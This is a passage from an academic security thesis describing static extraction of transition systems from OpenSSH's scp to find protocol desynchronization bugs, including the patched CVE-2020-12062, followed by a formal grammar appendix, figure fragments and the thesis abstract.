3) ∈ ∆sink ∧ q1 = q′1

)
∨
(
(q2, a, q

′
2) ∈ ∆scp ∧ (q1, a, q

′
1) ∈ ∆source ∧ q3 = q′3

)
We consider as a protocol violation any sequence of messages exchanged

by the source and the sink that reaches state ⊥ in the transition system
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q0start q1

q2

q3

q4

q5 q6 q7 q8

⊥

OSD

OSD

OSA
ORA

IRD

IRD

ISA

IRD

IRD IRA ISA ORA

τ

OSD,ORD,OSA

τ ,OSD,ORD,OSA,ORA,ISD,IRD,ISA,IRA

Figure 8.1: Scp protocol transition system (without τ transitions and tran-
sitions to τ). As an illustration, we show all the missing transitions (in grey)
for node q7.

Ascp. This method captures any protocol desynchronization, while ignor-
ing deadlocking or starvation issues. Indeed, the former kind of bugs may
compromise the integrity of transmitted data, while the latter only impacts
availability, of lesser importance.

In the context of our synchronized product AP , such protocol violations
show up as paths from iP to any state of Qsource×{⊥}×Qsink. Furthermore,
the paths provides us with a trace, in the form of a sequence of program
points in Gsource and Gsink that we can investigate. If the path is considered
as infeasible, we consider it as a false positive and discard it. Similarly, if
the path shows a behavior that is considered valid, but not in the proto-
col transition system, then we modify our transition system accordingly to
include this valid behavior.

As examples of legal exchanges reported as bugs, during body exchange
(node q5 in Fig. 8.1) the sink may send the acknowledgment before receiving
the acknowledgment from the source. Similarly, if an error (file name too
long, file open failure, . . . ) is encountered by the source, it is reported to the
sink as a solitary acknowledgment (OSA), that is read and discarded by the
sink (IRA) (node q0). Another error comes from the special case of empty
files, which uses a simplified body exchange without any data exchange. Fi-
nally, in the latest version of scp, a new function called note_err is added,
that the sink uses to send an acknowledgment upon specific conditions. It
then checks afterwards whether the acknowledgment has been sent, and if
not sends the missing acknowledgment, thus preventing any desynchroniza-
tion. Unfortunately, this behavior cannot be represented in the protocol
transition system, thenceforth we replace this whole section of the Asink by
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a single ISA.

8.6.4 True positives

We managed to identify several paths leading to a protocol error that were
genuine. Amongst those, we identified and analyzed the initial crash, con-
firming the presence of desynchronization bugs. The investigation for such
bugs is pretty straightforward, as the path in the product transition system
AP directly provides a trace for triggering the bug.

The first bug found occurs when the sink receives a directory header, and
sets its timestamp using the function utimes (option -p). If the function
utimes fails, then the sink sends an unsolicited acknowledgment causing
protocol desynchronization. Further efforts not detailed here lead to a full
exploitation of this bug, which we reported under CVE-2020-12062.

Other possible desynchronizations have been found, for which an exploit
has not been written to check their ease of exploitation. However, the condi-
tions taken by the exploit path seemed plausible enough to be reported and
patched in release 8.3. We can cite for instance the possibility, if the sink
fails to change permissions on the received file and then fails to close this
file, to send a double acknowledgment at the end of data exchange, which
leads to protocol desynchronization. Similarly, this exact same bug triggers
when failing to truncate the file written by the sink to the correct length,
and then failing to close the very same file.

We also ran the same analysis on the patched version of scp released
in openSSH 8.3, and managed to confirm the absence of any such protocol
desynchronization bug. Indeed, a failure during the exchange no longer
triggers the sending of an acknowledgment, and the error messages sent are
now collected and handled at the end of the sink function, thus preventing
sending an acknowledgment at each handled error, causing issues in case of
multiple errors.

8.7 Related work

The idea of using dataflow analysis to extract a more compact representa-
tion from a procedure is at the core of Jiang et al.’s [Jia+20] method to
check for similarity between two programs compiled with different levels
of optimization. Particularly, they produce a canonical representation of a
function leveraging an intra-procedural dataflow analysis. In our work, we
managed to extend the dataflow analysis at inter-procedural scope by us-
ing ideas presented by Araujo and Bougacha in [AB14b], which allowed us
to produce various compact representations that do not aim specifically for
canonicity.

Similarly, representing low-level assembly code with graphs is common,
dating back to the well-known control-flow graph [All70] to more recently
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BINCOA [Bar+11] framework for binary code analysis, that introduces a
very close graph-like structure called Dynamic Bitvector Automata, with
the main difference being the presence of arbitrary indirect jumps as well
as non-deterministic behaviors, thus requiring further work to perform the
subsequential analysis.

Reverse-engineering protocols through static program analysis dates
back to 2006, with the publication of FFE/x86 by Lim, Reps and Lib-
lit [LRL06]. For each procedure of the program, it extracts a Hierarchical
Finite State Machine from the calls to any procedure marked as an output
procedure. It then combines them with type annotations to produce a regu-
lar expression describing the format of exchanged messages. In our work, we
aim directly at extracting an FSM also embedding the protocol specification,
by replacing the HFSM extraction with our slicing method. Note that as an-
other similarity, user input are alike, by either defining the instrumentation
strategy or marking the output procedures and their prototype.

A survey by Le Guernic [Duc+18] identifies and discusses the main
approaches on protocol analysis—based on network traces [Won+08], and
those based on protocol parser analysis. Our work belongs to the latter ap-
proach, using static analysis as the main underlying technique. This is to be
contrasted with approaches such as that of Polyglot [Cab+07], which relies
on dynamic binary analysis to infer message formats or protocol automa-
ton [Com+09] from execution traces or Fuzzgrind [Cam09], initially designed
as a vulnerability-discovery tool, which automatically infers a model of mes-
sages’ format from a symbolic execution of the application [GLM08]. It
identifies constraints on the data that guide the execution of a path, and as-
sumes that this reflects the format of messages; however the message format
is not explicitly or entirely reconstructed by this tool. Lastly, MACE [Ang87;
Cho+10; Cho+11] sits in-between by performing a concolic execution of the
application.

8.8 Conclusions and future work

In this chapter, we presented a graph-based formal description that we com-
bined with lightweight formal methods to analyze a protocol issue in scp.
We showed a method to transform programs into transition systems, using
extensions of dataflow analyses as well as a slicing operation. To the best
of our knowledge, this is a novel approach to statically extract such a com-
pact representation from programs. We then synchronized the extracted
transition systems, and managed to identify several paths leading to proto-
col desynchronization, of which one has been confirmed to be exploitable.
Using the same technique, we were able to confirm that the patch released
closed all protocol desynchronization issues.

More work still needs to be done to handle a wider variety of programs.
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This includes programs with indirect jumps, complex memory manipulation,
or object oriented programming. For this, techniques such as pseudo-register
retrieval or indirect jump resolution may prove useful.
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8.A Formal grammar

The grammar for our language is quite similar to the one presented in Bin-
coa [Bar+11]. The main difference is that we do not allow arbitrary indirect
jump, limiting them to only returns from procedure calls.

Expressions:

lvalue ::= ident register
| @ integer [ expr ] memory access

expr ::= lvalue l-value
| integer literal
| expr ( + | < | = | · · · ) expr binary operation

Statements:

stmt ::= lvalue := expr assignment
| call ident procedure call
| if expr goto integer conditional jump
| return return

Programs. A program is made of several mutually recursive procedures.
Each procedure is declared by specifying its name and statements. Addi-
tionally, a special procedure called main locates the program’s entry point:

procedure ::= procedure ident begin stmt? end

Conditional jumps are translated into a pair of edges, originating from
the sequence point: one edge points to the executed sequence point when
the condition holds, and the other points to the instruction following imme-
diately. This second edge is labeled with the condition’s negation. Return
instructions are represented as transitions to a special sink node, written ⊥.

Extension to actual parameters

The statements can be extended to account for actual parameters as follows:

stmt ::= lvalue := expr assignment
| call ident ( expr? ) procedure call
| if expr goto integer conditional jump
| return return
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8.B Extracted transition systems

In this section, we provide transition systems as well as a detailed explana-
tion of the results obtained with SCP.

8.B.1 SCP version 8.2 and before
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Figure 8.2: The transition system extracted from the graph of the source
procedure.
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Figure 8.3: The transition system extracted from the graph of the sink
procedure.
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8.B.2 SCP version 8.3
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Figure 8.4: The transition system extracted from the graph of the source
procedure.
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 TAU 

0x5e44:0x1

 ISA 

0x5e08

 TAU 

 ISA 

 TAU 

0x5f2a

 TAU 

0x5f2a:0x1

 IRD 

 IRA 

 TAU 

Figure 8.5: The transition system extracted from the graph of the sink
procedure.
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RÉSUMÉ

L’informatique se fonde sur de nombreuses couches d’abstraction, allant des couches matérielles jusqu’à l’algorithmique
en passant par le cahier des charges à la base de la conception du produit. Dans le cadre de la sécurité informatique,
les vulnérabilités proviennent souvent de la confusion résultant des différentes abstractions décrivant un même objet. La
définition de sémantiques aide à la description formelle de ces abstractions dans l’objectif de les faire coïncider. Dans
cette thèse, nous améliorons différents procédés ou programmes en corrélant les diverses représentations sémantiques
sous-jacentes.
Nous introduisons brièvement les termes et concepts fondamentaux avec lesquels nous construisons le concept de
langage assembleur ainsi que les différentes abstractions utilisées dans l’exploitation de programmes binaires.
Dans une première partie, nous utilisons des constructions sémantiques de haut niveau pour simplifier la conception
de codes d’exploitation avancés sur des jeux d’instructions récents. Nous présentons didactiquement trois exemples
répondant à des contraintes de plus en plus complexes. Spécifiquement, nous présentons une méthode pour produire
des shellcodes alphanumériques sur ARMv8-A et RISC-V, ainsi que la première analyse de faisabilité d’attaques de type
return-oriented programming sur RISC-V.
Dans une deuxième partie, nous étudions l’application des méthodes formelles à l’amélioration de la sécurité et de
la sûreté de langages de programmation à travers trois exemples : une optimisation de primitives de synchronisation,
une analyse statique compatible avec la vérification déductive limitant l’aliasing de pointeurs dans un langage impératif
ou encore un formalisme permettant de représenter de façon compacte du code binaire dans le but d’analyser des
problèmes de synchronisation de protocole.

MOTS CLÉS

Sécurité logicielle niveau machine, Exploitation binaire, Méthodes formelles, Analyse statique de sécurité

ABSTRACT

Computer science is built on many layers of abstraction, from hardware to algorithms or statements of work. In the
context of computer security, vulnerabilities often originate from the discrepancies between these different abstraction
levels. Such inconsistencies may lead to cyberattacks incurring losses. As a remedy, providing semantics helps formally
describe and close the gap between these layers. In this thesis, we improve methods and programs by connecting the
various semantic representations involved using their relationship to each level of abstraction.
We briefly introduce the fundamental concepts and terminology to build assembly languages from scratch and various
abstractions built atop and used in the context of binary exploitation.
In the first part, we leverage higher-level semantic constructs to reduce the design complexity of advanced exploits on
several recent instruction set architectures. In a tutorial-like fashion, we present three examples addressing increasingly
more complex constraints. Specifically, we describe a methodology to automatically turn arbitrary programs into alphanu-
meric shellcodes on ARMv8-A and on RISC-V. We also provide the first analysis on the feasibility of return-oriented
programming attacks on RISC-V.
In the second part, we see how the use of formal methods can improve the safety and security of various languages
or constructs, through three examples that respectively optimize the implementation of Hoare monitors, a well-known
synchronization construct, prevent harmful aliasing in an imperative language without impeding deductive verification, or
abstract binary code into a compact representation which enables further protocol desynchronization analyses.

KEYWORDS

Machine-level software security, Binary exploitation, Formal methods, Static security analysis
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